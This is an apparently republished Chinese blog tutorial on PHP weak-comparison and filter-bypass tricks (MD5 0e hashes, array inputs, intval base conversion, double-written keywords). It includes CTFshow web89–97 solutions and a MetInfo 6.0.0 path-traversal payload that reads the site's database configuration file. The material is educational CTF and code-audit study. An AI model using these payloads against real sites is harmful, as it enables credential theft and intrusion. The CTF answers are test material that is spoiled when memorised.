IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> WEB攻防-PHP特性-学以致用 -> 正文阅读

[PHP知识库]WEB攻防-PHP特性-学以致用

PHP

知识点:

1、过滤函数缺陷绕过

2、学习知识点的作用

  1. CTF考点

  2. 代码审计

php函数特性知识点讲解

1、=====对比

?==不会对比类型
?===会对比类型

==

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ?
 $a=1;
 if($a==$_GET['x']){
     echo $flag;
 }

==判断的时候 不会对比数值的类型,如判断是否等于1 在浏览器接收的时候 1、1.0、+1、1**都是可以的

payload:

 ?x=1,select

image-20220111084955538

===

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ?
 $a='1';
 if($a===$_GET['y']){
     echo $flag;
 }

===不仅会对比变量的数值,而且还会对比数值的类型,所以 “y=1、1.0、+1、1**”都是不可以使用了。

2、MD5缺陷绕过

==绕过

PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。

在md5加密后以0E开头

原文MD5密文
QNKCDZO0e830400451993494058024219903391
2406107080e462097431906509019562988736854
s878926199a0e545993274517709034328855841020
s155964671a0e342768416822451524974117254469

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ?
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) == MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 }

payload:

 ?name=QNKCDZO&password=240610708

image-20220111095000570

===的绕过

===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ?
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) === MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 }

payload:

 /?name[]=1&password[]=2

虽然报错但是可以正常 输出结果

image-20220111095301854

3、intval缺陷绕过

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

语法

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。

  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,

  • 将使用 10 进制 (decimal)。

返回值:

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
    echo $flag;
}

根据上面intval()函数介绍,可以知道base值为0,所以可以使用使用其他进制替换666数据进行绕过。

八进制的666-->01232

十六进制-->0x29a

payload:

?n=0x29a

image-20220111102408254

4、strpos()函数缺陷绕过

strpos() 查找 "php" 在字符串中第一次出现的位置:

<?php
	echo strpos("You love php, I love php too!","php");
?>

语法

strpos(string,find,start)

参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。

返回值

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE

注释:字符串位置从 0 开始,不是从 1 开始。

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$i='123666';
$ii=$_GET['h'];
if(strpos($i,$ii,"0")){
    echo $flag;
}

if(0)没有办法触发函数if,如果%0a666进行换行查找的话,换行也会被带进去查找!

5、in_array第三个参数安全

in_array-检查数组中是否存在某个值

语法

in_array(search,array,type)

  • search 必需。规定要在数组搜索的值。

  • array 必需。规定要搜索的数组。

  • type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

如果不设置第三个参数,那么相当于==不对比数据类型则1.0、+1、1,***都是可以绕过的

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
    echo '$flag';
}

payload:

?i=+1.0,sec

image-20220111153302806

6、preg_match正则表达式

修饰符含义

修饰符意义
/ i不区分大小写的匹配
/ s使句点( . )匹配任何字符,包括换行符( )
/ x从模式中删除空白符和注释
/ m使 ^ 匹配换行符 ( )之后的内容,美元符号($)匹配换行符 ( )之前的内容
/ e如果替换字符串是PHP代码,使用eval()执行该代码来得到实际的替换字符串
/ U颠倒子模式的贪婪性; * 和 + 尽可能少地匹配而不是尽可能多。
/ u把模式字符串当作UTF - 8编码对待
/ X如果一个反斜杠之后跟着没有特殊意义的字符,将产生一个错误
/ A把锚定位在字符串的开头就像模式中有 ^ 一样
/ D使 $字符仅匹配一行的末尾
/ S使表达式解析器更加小心地检查模式的结构,使得第二次运行时(如在一个循环中)加快速度

下方代码:

不能输入0-9,但还要进入if(intval($num))这个函数

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

绕过思路:preg_match 无法匹配数组

payload

/?num[]=1

image-20220111154650442

7、str_replace无法迭代过滤

把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":

<?php
	echo str_replace("world","Peter","Hello world!");
?>

语法

str_replace(find,replace,string,count)
参数描述
find必需。规定要查找的值。
replace必需。规定替换 find 中的值的值。
string必需。规定被搜索的字符串。
count可选。一个变量,对替换数进行计数。

<?php
header("Content-Type:text/html;charset=utf-8");

$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;

过滤select,但是最终实现输出select的效果

str_replace只可以替换一次,所以可以使用双写构造语法进行绕过

payload:

/?s=sselectelect

image-20220111155557550

学以致用

学习了以上知识点后,可以通过刷题巩固自己的学习效果,以及验证自己学习的内容是否有用,主要是CTFSHOW web89-97关和源码的代码审计

????????????????????????????????????????????????👇👇👇👇👇👇👇👇ctfshow👇👇👇👇👇👇👇👇

web89

 <?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

题目分析:

接受变量num,num变量不可以出现0-9,但是还必须要求num是正数。

preg_match不可以处理数组。

payload

?num[]=1

web90

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

题目分析

接受num变量,num不可以等于4476但是有要求进入 if(intval($num,0)===4476)函数拿到flag

根据intval()函数特性,我们可以进行禁止转换

八进制4476-->10574

十六进制4476-->117c

payload

/?num=010574
/?num=0x117c

web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

题目分析

php开头,php结尾、i不区分大小写、m是多行匹配

第一个preg_match是修饰符是im,第二个是i,所以我们可以使用换行绕过

正则表达式详解:https://www.jb51.net/article/36172.htm

payload

?cmd=%0Aphp

web92

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

题目分析

接受变量num,num值不等于4476绕过第一个if,有要求intval($num,0)==4476,intval是取整,所以可以令num=4476.1也可以进行进制转换构造payload。

payload

/?num=4476.1

web93

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

题目分析

比92题多了一个正则匹配,不可以输入a-z,相当于禁止了十六进制转换构造payload

payload

/?num=4476.1

web94

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

题目分析

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。

/?num=4476.0

web95

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

题目分析

多了一个不需要使用点,就相当于上面的小数就不可以使用了。因为前面是弱类型比较,可以在前面加入一个下划线来绕过num=_010574,发现没有出现flag但是也没有出现nonono,所以表示前面三个过滤条件都已经绕过了。就是输出flag的函数没有触发,把其他的特殊符号都是一下,最后发现加号和空格可以。

intval在处理加号和空格开发的数字的时候,会作为一个整数处理

payload

/?num=+010574

web96

 <?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

题目分析

不可以直接输入flag.php但是又要求读取flag.php,可以通过加入路径经行读取。

payload

/?u=./flag.php

web97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
            echo $flag;
        else
            print 'Wrong.';
}
?>

题目分析

post接受a和b,但是进入if ($POST['a'] != $POST['b'])有要求md5($POST['a']) === md5($POST['b'])相等,md5不可以处理数组返回值都是NULL

payload:

a[]=1&b[]=2

?????????????????????????????????????? 👇👇👇👇👇👇👇👇代码审计👇👇👇👇👇👇👇👇

MetInfo6.0.0代码审计

根据学习的以上知识点,可以进行简单的代码审计。

搜索关键字str_place

\MetInfo6\app\system\include\module\old_thumb.class.php

image-20220111175420827

从代码中可以看到,$dir直接由$_GET['dir']传递进来,并将.././置空。目标是进入到第一个if里面的readfile($dir);,读取文件。

看看if语句的条件,里面的是将$dir中包含$_M['url']['site']的部分置空,这里可以不用管。外面是一个strstr函数,判断$dirhttp字符串的首次出现位置,也就是说,要进入到这个if语句里面,$dir中包含http字符串即可。

image-20220111180107516

从上面的分析可以构造出payload,只要$dir里包含http字符串就可以进入到readfile函数从而读取任意函数,然后可以使用.....///来进行目录跳转,因为.././会被置空,所以最终payload如下:

/include/thumb.php?dir=.....///http/.....//\config\config_db.php

被替换后实际带入其中的结果是:

../http/..\config\config_db.php

image-20220111185646260

总结:

跌跌撞撞的算是把二十天的内容搞定了,其中看了许多资料也收获了很多。一看就会-一座就废,看了≠会了。


免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-14 01:45:27  更:2022-01-14 01:45:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:35:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码